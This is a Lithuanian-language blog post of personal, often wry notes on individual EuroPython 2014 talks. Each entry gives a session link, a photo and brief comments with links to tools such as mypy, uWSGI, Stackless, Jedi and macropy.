<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-TVZhdisR0Vs/U-p6wHXeQ2I/AAAAAAAAA50/TycSqRx-Pak/s1600/ep2014-01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-TVZhdisR0Vs/U-p6wHXeQ2I/AAAAAAAAA50/TycSqRx-Pak/s1600/ep2014-01.jpg" height="206" width="320" /></a></div>
<br />
Vokiečiai labai jautriai reagavo į faktą, kad, girdi, jų partneriai (JAV ir Didžioji Britanija) drįso juos šnipinėti. PRISM, Tempora ir pan.<br />
<br />
Ragino visus užsiimti duomenų kodavimu visuose lygiuose. Aš tai tingiu tą daryti. <br />
<br />
<b>pymove3D Winner Announcement</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/11/">https://ep2014.europython.eu/en/schedule/events/11/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-RrZiyMgnrMw/U-p6wHCmetI/AAAAAAAAA5s/rGvFu2oy5eo/s1600/ep2014-02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-RrZiyMgnrMw/U-p6wHCmetI/AAAAAAAAA5s/rGvFu2oy5eo/s1600/ep2014-02.jpg" height="320" width="225" /></a></div>
<br />
Čia buvo kažkoks grybas. Visiška nesąmonė. Galėjau neiti, o vietoje to praleisti bufete, valgydamas dar daugiau šokoladinių batonėlių.<br />
<br />
<b>Keynote: What can python learn from Haskell?</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/121/">https://ep2014.europython.eu/en/schedule/sessions/121/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vs5dHHRPtok/U-p6wSTseBI/AAAAAAAAA5w/eC8aoYvxi0w/s1600/ep2014-03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-vs5dHHRPtok/U-p6wSTseBI/AAAAAAAAA5w/eC8aoYvxi0w/s1600/ep2014-03.jpg" height="196" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-SVA66lKvrA0/U-p6xeyvL6I/AAAAAAAAA54/wCVF_AtafFI/s1600/ep2014-04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-SVA66lKvrA0/U-p6xeyvL6I/AAAAAAAAA54/wCVF_AtafFI/s1600/ep2014-04.jpg" height="320" width="214" /></a></div>
<br />
Trumpai: anot Bob'o, jam patinka griežtai tipizuotos funkcinės programavimo kalbos. O Python'as nėra tokia programavimo kalba. Dėl to Haskell yra geriau. Anot jo.<br />
<br />
Kelios įdomios nuorodos, pateiktos kalbos metu:<br />
<br />
Python versija su statiniais tipais. Hmmm...:<br />
<a href="http://www.mypy-lang.org/">http://www.mypy-lang.org/</a><br />
<br />
PEP'as apie funkcines anotacijas:<br />
<a href="http://legacy.python.org/dev/peps/pep-3107/">http://legacy.python.org/dev/peps/pep-3107/</a><br />
<br />
Beje, jau veikia Python 3:<br />
<a href="https://docs.python.org/3/tutorial/controlflow.html#function-annotations">https://docs.python.org/3/tutorial/controlflow.html#function-annotations</a> <br />
<br />
<b>Lightning Talks #1</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/12/">https://ep2014.europython.eu/en/schedule/events/12/</a><span style="font-size: x-small;"> </span><br />
<br />
Vienintelė įdomesnė nuoroda, kurią užsirašiau:<br />
<a href="https://packaging.python.org/">https://packaging.python.org/</a><br />
<br />
<b>Recruiting Session</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/67/">https://ep2014.europython.eu/en/schedule/events/67/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Fn6stAmiSJM/U-p6xiuf7yI/AAAAAAAAA6A/XLlNx7hBsTY/s1600/ep2014-05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Fn6stAmiSJM/U-p6xiuf7yI/AAAAAAAAA6A/XLlNx7hBsTY/s1600/ep2014-05.jpg" height="320" width="235" /></a></div>
<br />
Žodžiu, visi EP2014 rėmėjai ieško programuotojų. Kuo pigesnis ir kuo geresnis programuotojas -- tuo geriau.<br />
<br />
<b>Keynote: Will I still be able to get a job in 2024 if I don't do TDD?</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/120/">https://ep2014.europython.eu/en/schedule/sessions/120/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-qZAl8K9XDIM/U-p6x8IqjwI/AAAAAAAAA6c/JRHhX17Q2AY/s1600/ep2014-06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-qZAl8K9XDIM/U-p6x8IqjwI/AAAAAAAAA6c/JRHhX17Q2AY/s1600/ep2014-06.jpg" height="320" width="252" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vvza2qYKICI/U-p6yDcC2FI/AAAAAAAAA6E/i41Y9JpjMyU/s1600/ep2014-07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-vvza2qYKICI/U-p6yDcC2FI/AAAAAAAAA6E/i41Y9JpjMyU/s1600/ep2014-07.jpg" height="320" width="197" /></a></div>
<br />
Kaip ir neatsakė į klausimą. Bet kalbėtoja, mano, kad kuo toliau, tuo daugiau žmonės naudos automatinius testus. Aš ir taip manau. Dar supykau ant pavadinimų "Code Kata", "Coding Dojo" paminėtų kalboje. Grynai dėl to, kad aš durnas.<br />
<br />
<b>The Magic of Attribute Access</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/123/">https://ep2014.europython.eu/en/schedule/sessions/123/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-bL4vC0RnoOY/U-p6y9rqbYI/AAAAAAAAA6Y/E3PPtddxVmc/s1600/ep2014-08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-bL4vC0RnoOY/U-p6y9rqbYI/AAAAAAAAA6Y/E3PPtddxVmc/s1600/ep2014-08.jpg" height="320" width="198" /></a></div>
<br />
Įdomi kalba apie atributų skaitymo magiją. Nuorodos:<br />
<br />
Kaip veikia <i>property</i>:<br />
<a href="https://docs.python.org/3.4/howto/descriptor.html">https://docs.python.org/3.4/howto/descriptor.html</a><br />
<br />
MRO (Method Resolution Order):<br />
<a href="https://www.python.org/download/releases/2.3/mro/">https://www.python.org/download/releases/2.3/mro/</a><br />
<br />
<b>Extending Python, what is the best option for me?</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/69/">https://ep2014.europython.eu/en/schedule/sessions/69/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-PY5wrR5iSGw/U-p6y8TiA8I/AAAAAAAAA6U/ab1L_uLl0wk/s1600/ep2014-09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-PY5wrR5iSGw/U-p6y8TiA8I/AAAAAAAAA6U/ab1L_uLl0wk/s1600/ep2014-09.jpg" height="188" width="320" /></a></div>
<br />
Nelabai įdomu. Vienas paketas apie, kurį aš buvau viena ausimi girdėjęs, bet niekada taip ir nepasigilinau, apie ką jis:<br />
<a href="https://cffi.readthedocs.org/">https://cffi.readthedocs.org/</a><br />
<br />
<b>Message-passing concurrency for Python</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/113/">https://ep2014.europython.eu/en/schedule/sessions/113/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-bljF9hWUbRw/U-p6z4og-QI/AAAAAAAAA6k/4-_Dv0HvPlg/s1600/ep2014-10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-bljF9hWUbRw/U-p6z4og-QI/AAAAAAAAA6k/4-_Dv0HvPlg/s1600/ep2014-10.jpg" height="148" width="320" /></a></div>
<br />
python-csp autorė pasakojo apie kaip su Python'u atkartoti tai, ką, pavyzdžiui, daro Google Go programavimo kalba su Goroutines. Paketas gal ir geras. Nežinau, nes nežiūrėjau ir netestavau. Autorė vienos kavos pertraukėlės metu (kai čiaumojau šokoladinius batonėlius) man pasakojo, kad Python dinamiškumas stipriai kerta per žinučių siuntimo greitį. Ir kad tas nėra didelė problema kompiliuojamose kalbose, tokiose kaip Go, Scala ar Rust.<br />
<a href="https://github.com/snim2/python-csp">https://github.com/snim2/python-csp</a><br />
<br />
<b>Solution oriented error handling</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/174/">https://ep2014.europython.eu/en/schedule/sessions/174/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-1Uq7BrBQ6So/U-p60AnKGZI/AAAAAAAAA7U/_OL-BfVc6FU/s1600/ep2014-11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-1Uq7BrBQ6So/U-p60AnKGZI/AAAAAAAAA7U/_OL-BfVc6FU/s1600/ep2014-11.jpg" height="194" width="320" /></a></div>
<br />
Pavadinimas skambėjo labai įspūdingai. Bet pati kalba tai šiaip sau. Trumpai: nerašykite spageti kodo. Hmmmm... Tą ir taip žinojau.<br />
<br />
<b>How to make a full fledged REST API with Django OAuth Toolkit</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/81/">https://ep2014.europython.eu/en/schedule/sessions/81/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-KeNHpt1KIa4/U-p60ZzITkI/AAAAAAAAA6s/2mDOWBbMSEc/s1600/ep2014-12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-KeNHpt1KIa4/U-p60ZzITkI/AAAAAAAAA6s/2mDOWBbMSEc/s1600/ep2014-12.jpg" height="320" width="214" /></a></div>
<br />
Nieko gero.<br />
<br />
<b>Gamers do REST</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/136/">https://ep2014.europython.eu/en/schedule/sessions/136/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-SShjpxaMaek/U-p60_jnIXI/AAAAAAAAA6w/HSvLhNaNSH8/s1600/ep2014-13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-SShjpxaMaek/U-p60_jnIXI/AAAAAAAAA6w/HSvLhNaNSH8/s1600/ep2014-13.jpg" height="237" width="320" /></a></div>
<br />
Demonware darbuotojas pasakojo apie jų Rest API, skirtą žaidimų, žaidžiamų tinkle, suvaldymui. Demonware kažkada buvo nepriklausoma kontora. Dabar priklauso Blizzard|Activision. Tai ir gamina produktus tik pastariesiems.<br />
<br />
Žaidimų sąrašas gana įspūdingas:<br />
- Diablo 3<br />
- Call of Duty<br />
- Ir taip toliau<br />
<br />
Kas nustebino? Labai ir labai žemiški įrankiai: Django, MySQL, Apache2.<br />
<br />
Kelios įdomesnės nuorodos:<br />
- Kontoros puslapis: <a href="http://www.demonware.net/">http://www.demonware.net/</a><br />
- MySQL schemos migracijos įrankis, nereikalaujantis nieko stabdyti: <a href="http://www.percona.com/software/percona-toolkit">http://www.percona.com/software/percona-toolkit</a><br />
- JSON schema: <a href="http://json-schema.org/">http://json-schema.org/</a> Hmmm....<br />
<br />
<b>Lightning Talks</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/24/">https://ep2014.europython.eu/en/schedule/events/24/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-AcqXuvHIws0/U-p61SHT8iI/AAAAAAAAA68/efsxYKjrDe4/s1600/ep2014-14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-AcqXuvHIws0/U-p61SHT8iI/AAAAAAAAA68/efsxYKjrDe4/s1600/ep2014-14.jpg" height="221" width="320" /></a></div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-Pp6IRCmXuxQ/U-p611NxIfI/AAAAAAAAA7E/uAVMvIUgTRs/s1600/ep2014-15.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://1.bp.blogspot.com/-Pp6IRCmXuxQ/U-p611NxIfI/AAAAAAAAA7E/uAVMvIUgTRs/s1600/ep2014-15.jpg" height="320" width="168" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Negaliu paaiškinti, ką aš čia galvojau</td></tr>
</tbody></table>
<br />
Dvi nuorodos, kurias pasižymėjau:<br />
- <a href="http://legacy.python.org/dev/peps/pep-0436/">http://legacy.python.org/dev/peps/pep-0436/</a><br />
- <a href="http://kit.pyladies.com/en/latest/">http://kit.pyladies.com/en/latest/</a><br />
<br />
<b>Keynote: Our decentralized future</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/122/">https://ep2014.europython.eu/en/schedule/sessions/122/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-qkPMN2nFhXo/U-p62Q7LP2I/AAAAAAAAA7M/4_SYn6fzEis/s1600/ep2014-16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-qkPMN2nFhXo/U-p62Q7LP2I/AAAAAAAAA7M/4_SYn6fzEis/s1600/ep2014-16.jpg" height="209" width="320" /></a></div>
<br />
Vienas pagrindinių ZeroMQ veikėjų padarė labai įdomų pranešimą. Kalbėjo labai įdomiai. Ar vėjus kalbėjo, tai nežinau. Reiktų labiau pasigilinti.<br />
<br />
Pasižymėjau, kad reiktų patikrinti jo knygą <i>"Culture & Empire: Digital Revolution"</i>:<br />
<a href="http://www.amazon.com/Culture-Empire-Revolution-Pieter-Hintjens-ebook/dp/B00GF48Z4S/">http://www.amazon.com/Culture-Empire-Revolution-Pieter-Hintjens-ebook/dp/B00GF48Z4S/</a><br />
<a href="http://cultureandempire.com/">http://cultureandempire.com</a><br />
<br />
<b>How we switched our 800+ projects from Apache to uWSGI</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/137/">https://ep2014.europython.eu/en/schedule/sessions/137/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-rFP_ewodz0g/U-p63MLYM2I/AAAAAAAAA70/pXFUJYM0dWw/s1600/ep2014-17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-rFP_ewodz0g/U-p63MLYM2I/AAAAAAAAA70/pXFUJYM0dWw/s1600/ep2014-17.jpg" height="200" width="320" /></a></div>
<br />
Visąlaik norėjau pasigilinti į uWSGI. Kažkiek padėjo pasiaiškinti. Pasirodo visai neblogas įrankis. Reikės pasidomėti daugiau:<br />
<a href="https://uwsgi-docs.readthedocs.org/en/latest/">https://uwsgi-docs.readthedocs.org/en/latest/</a><br />
<br />
<b>Using All These Cores: Transactional Memory in PyPy</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/51/">https://ep2014.europython.eu/en/schedule/sessions/51/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-D3PVEOrr5Cw/U-p63F_weUI/AAAAAAAAA7c/-L0Fj1tyr84/s1600/ep2014-18.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-D3PVEOrr5Cw/U-p63F_weUI/AAAAAAAAA7c/-L0Fj1tyr84/s1600/ep2014-18.jpg" height="214" width="320" /></a></div>
<br />
PyPy žmogus pasakojo, kaip jis eksperimentavo su Transactional Memory idėja. Ir kaip jis sugebėjo pašalinti GIL naudodamas Transactional Memory. Viskas dar tik eksperimentinėje stadijoje.<br />
<br />
Po teisybei aš buvau (ir esu) per durnas, kad suprasčiau šitą kalbą:<br />
<a href="http://en.wikipedia.org/wiki/Transactional_memory">http://en.wikipedia.org/wiki/Transactional_memory</a><br />
<br />
<b>Stackless: Recent advancements and future goals</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/114/">https://ep2014.europython.eu/en/schedule/sessions/114/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-37gN2UBoDO8/U-p64MR6JmI/AAAAAAAAA7s/LJXQnSJ5dp8/s1600/ep2014-19.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-37gN2UBoDO8/U-p64MR6JmI/AAAAAAAAA7s/LJXQnSJ5dp8/s1600/ep2014-19.jpg" height="320" width="316" /></a></div>
<br />
Stackless kūrėjas pristatinėjo Stackless. Parodė kelis įdomius dalykus. Pavyzdžiui galimybę pickle'inti funkcijų paleidimo steko būseną. T.y. paleidi programą. Programos metu kviečiama funkcija A, kuri kviečia B, kuri kviečia C. Ten išsaugai (su pickle moduliu) būseną į pickle objektą. Kitą kartą galėsi paleisti programą būtent toje būsenoje, kurioje ir išsaugojai.<br />
<br />
Įdomiausia, kad galima šokinėti tiek per operacines sistemas, tiek per architektūras. Pvz.: išsaugoti būseną Mac OS X 64bit ir programą pratęsti Windows 7 32bit. Ar panašiai:<br />
- <a href="https://docs.python.org/2.7/library/pickle.html">https://docs.python.org/2.7/library/pickle.html</a><br />
- <a href="http://www.stackless.com/">http://www.stackless.com/</a><br />
<br />
<b>Automatic code reviews</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/75/">https://ep2014.europython.eu/en/schedule/sessions/75/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-xyW7LEji17Y/U-p632ysc1I/AAAAAAAAA7w/0rMQiltYn9c/s1600/ep2014-20.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-xyW7LEji17Y/U-p632ysc1I/AAAAAAAAA7w/0rMQiltYn9c/s1600/ep2014-20.jpg" height="229" width="320" /></a></div>
<br />
Apžvelgė įrankius automatiniui, statiniui Python kodo tikrinimui:<br />
- <a href="https://gemnasium.com/">https://gemnasium.com/</a><br />
- <a href="https://landscape.io/">https://landscape.io/</a><br />
- <a href="https://github.com/landscapeio/prospector">https://github.com/landscapeio/prospector</a><br />
- <a href="https://github.com/landscapeio/pylint-django">https://github.com/landscapeio/pylint-django</a><br />
<br />
<b>Identifying Bugs Before Runtime With Jedi</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/83/">https://ep2014.europython.eu/en/schedule/sessions/83/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-7Qhgd0gcvbY/U-p64zRJCyI/AAAAAAAAA8o/QVoEvRIdww4/s1600/ep2014-21.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-7Qhgd0gcvbY/U-p64zRJCyI/AAAAAAAAA8o/QVoEvRIdww4/s1600/ep2014-21.jpg" height="320" width="263" /></a></div>
<br />
Jedi kūrėjas pristatė, kaip jo įrankis (Jedi) gali būti naudojamas ne tik automatinio užbaigimo funkcionalumui, bet ir kaip pylint pakaitalas/papildinys.<br />
<br />
Šitą Jedi jau senokai žadu išbandyti. Bet vis neprisiruošiu. Ir šiek tiek bijau kuo toliau tuo bijau, ką nors keisti savo Vim konfiguracijose. Nes žinau, jog vos tik pradėsiu kažką kažkur klibinti, tai viskas vis tiek galiausiai pasibaigs minimum 4 valandų Vim spalvų gamos rinkimusi... Galiausiai liekant prie tos pačios spalvų temos.<br />
<a href="http://jedi.jedidjah.ch/en/latest/">http://jedi.jedidjah.ch/en/latest/</a><br />
<br />
<b>Python in system testing</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/12/">https://ep2014.europython.eu/en/schedule/sessions/12/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-YaQlvPb8NeE/U-p65HNOVlI/AAAAAAAAA78/qz8ZNo4kgdg/s1600/ep2014-22.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-YaQlvPb8NeE/U-p65HNOVlI/AAAAAAAAA78/qz8ZNo4kgdg/s1600/ep2014-22.jpg" height="203" width="320" /></a></div>
<br />
Nieko gero neatsimenu iš šitos kalbos.<br />
<br />
<b>Lightning Talks</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/25/">https://ep2014.europython.eu/en/schedule/events/25/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vHQc7Hfq3KU/U-p65dTiduI/AAAAAAAAA8E/gkC8jBg4Ao8/s1600/ep2014-23.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-vHQc7Hfq3KU/U-p65dTiduI/AAAAAAAAA8E/gkC8jBg4Ao8/s1600/ep2014-23.jpg" height="244" width="320" /></a></div>
<br />
Po teisybei nieko – visiškai nieko – nepasižymiau.<br />
<br />
<b>Multiplatform binary packaging and distribution of your client apps</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/31/">https://ep2014.europython.eu/en/schedule/sessions/31/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-QlNwMwroscg/U-p65-r_VBI/AAAAAAAAA8M/LSVQ5PxuRfw/s1600/ep2014-24.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-QlNwMwroscg/U-p65-r_VBI/AAAAAAAAA8M/LSVQ5PxuRfw/s1600/ep2014-24.jpg" height="304" width="320" /></a></div>
<br />
Kaip autorė naudojo cython, Python programos pavertimui binariniu paleidžiamu failu.<br />
<br />
<b>Metaprogramming, from decorators to macros</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/84/">https://ep2014.europython.eu/en/schedule/sessions/84/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-_dHUjAX-Ly4/U-p66GYuOlI/AAAAAAAAA8Q/mLXJ0nAlW7M/s1600/ep2014-25.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-_dHUjAX-Ly4/U-p66GYuOlI/AAAAAAAAA8Q/mLXJ0nAlW7M/s1600/ep2014-25.jpg" height="320" width="254" /></a></div>
<br />
Apie metaprogramavimą. Ir apie macros'ų įgyvendinimą Python. Įgyvendintas jis, tiesiogiai lendant prie abstraktaus sintaksės medžio. Prašau, nenaudokite to, kuriant ne eksperimentinius projektus:<br />
<a href="https://github.com/lihaoyi/macropy">https://github.com/lihaoyi/macropy</a><br />
<br />
<b>Python Debugger Uncovered</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/23/">https://ep2014.europython.eu/en/schedule/sessions/23/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-_LErBJEYxzE/U-p66s4YY3I/AAAAAAAAA8g/PUt1HgStdUo/s1600/ep2014-26.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-_LErBJEYxzE/U-p66s4YY3I/AAAAAAAAA8g/PUt1HgStdUo/s1600/ep2014-26.jpg" height="218" width="320" /></a></div>
<br />
Labai rekomenduoju šitą kalbą. Vien geriausių visoje konferencijoje. Apie tai, kaip paprasta pasirašyti debug'erį.<br />
<br />
<a href="https://docs.python.org/3/library/sys.html?highlight=sys#sys.settrace">https://docs.python.org/3/library/sys.html?highlight=sys#sys.settrace</a><br />
<br />
Plius, autorius gauna papildomų taškų už tai, kad pozuodamas nuotraukai, naudojo niekam nežinomą rankos-pakištos-po-bicepsais-tam-kad-raumenys-atrodytų-didesni-nei-yra triuką:<br />
<a href="https://ep2014.europython.eu/en/accounts/profile/358/">https://ep2014.europython.eu/en/accounts/profile/358/</a><br />
<br />
<b>Morepath: a Python Web Framework with Super Powers</b><br />
<a href="http://morepath.readthedocs.org/en/latest/">http://morepath.readthedocs.org/en/latest/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-8xLN_BfiFac/U-p67SSgNBI/AAAAAAAAA9A/3qgLsULEgJI/s1600/ep2014-27.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-8xLN_BfiFac/U-p67SSgNBI/AAAAAAAAA9A/3qgLsULEgJI/s1600/ep2014-27.jpg" height="320" width="176" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-vTRnAPDPNtY/U-p68FPJ6cI/AAAAAAAAA8w/BKca7Ikw77U/s1600/ep2014-28.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-vTRnAPDPNtY/U-p68FPJ6cI/AAAAAAAAA8w/BKca7Ikw77U/s1600/ep2014-28.jpg" height="320" width="223" /></a></div>
<br />
Buvęs užkietėjęs Zope programuotojas pristatė naują micro web karkasą (web framework) <a href="http://programisiu-godos.blogspot.com/2012/07/naudok-kudus-web-karkasus-ir-pipira.html" target="_blank">[3]</a>.<br />
<a href="http://morepath.readthedocs.org/en/latest/">http://morepath.readthedocs.org/en/latest/</a><br />
<br />
<b>The inner guts of Bitbucket</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/24/">https://ep2014.europython.eu/en/schedule/sessions/24/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-myIWuzykF6I/U-p684Jw6iI/AAAAAAAAA84/WYKFDUo5lfM/s1600/ep2014-29.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-myIWuzykF6I/U-p684Jw6iI/AAAAAAAAA84/WYKFDUo5lfM/s1600/ep2014-29.jpg" height="240" width="320" /></a></div>
<br />
Bitbucket žmogus pristatė technologijas, kurias jie naudoja. Ir iššūkius, su kuriais jie susiduria. Vėlgi, kaip Demonware, atveju nustebino tas, kad jokios magijos. Gunicorn, Django, Celery ir pan.<br />
<a href="https://bitbucket.org/">https://bitbucket.org/</a><br />
<br />
<b>Farewell and Welcome Home: Python in Two Genders</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/58/">https://ep2014.europython.eu/en/schedule/sessions/58/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Tlkrjxaukd4/U-p68yYihxI/AAAAAAAAA9M/Bc2RDOB9MEk/s1600/ep2014-30.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-Tlkrjxaukd4/U-p68yYihxI/AAAAAAAAA9M/Bc2RDOB9MEk/s1600/ep2014-30.jpg" height="320" width="297" /></a></div>
<br />
Moteris, kuri anksčiau buvo vyru, pasakojo, kaip IT bendruomenėje jaučiasi moterys. Po teisybei labai mažai pasakojo apie buvimą moterimi. Daugiausia pasakojo apie save ir apie savo transformaciją. Kas suprantama. Po teisybei, nė velnio nesuprantama ir nebandysiu apsimetinėti, kad turiu galiu suprasti.<br />
<br />
Bet kokiu atveju, akiratį praplečianti kalba.<br />
<br />
<b>Lightning Talks</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/26/">https://ep2014.europython.eu/en/schedule/events/26/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-gATPfx3DOiY/U-p6-c07cQI/AAAAAAAAA9Q/7fN1lO-Ca88/s1600/ep2014-31.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-gATPfx3DOiY/U-p6-c07cQI/AAAAAAAAA9Q/7fN1lO-Ca88/s1600/ep2014-31.jpg" height="216" width="320" /></a></div>
<br />
Įdomios nuorodos iš greitųjų kalbų:<br />
- <a href="https://pypi.python.org/pypi/e/1.4.5">https://pypi.python.org/pypi/e/1.4.5</a><br />
- <a href="https://pypi.python.org/pypi/netaddr">https://pypi.python.org/pypi/netaddr</a><br />
- <a href="http://doc.devpi.net/latest/">http://doc.devpi.net/latest/</a><br />
<br />
<b>Keynote: Python's Role in Big Data Analytics: Past, Present, and Future</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/119/">https://ep2014.europython.eu/en/schedule/sessions/119/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-_um2hRD7Nss/U-p691mnZ3I/AAAAAAAAA9U/vZdsSmRXuu0/s1600/ep2014-32.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-_um2hRD7Nss/U-p691mnZ3I/AAAAAAAAA9U/vZdsSmRXuu0/s1600/ep2014-32.jpg" height="307" width="320" /></a></div>
<br />
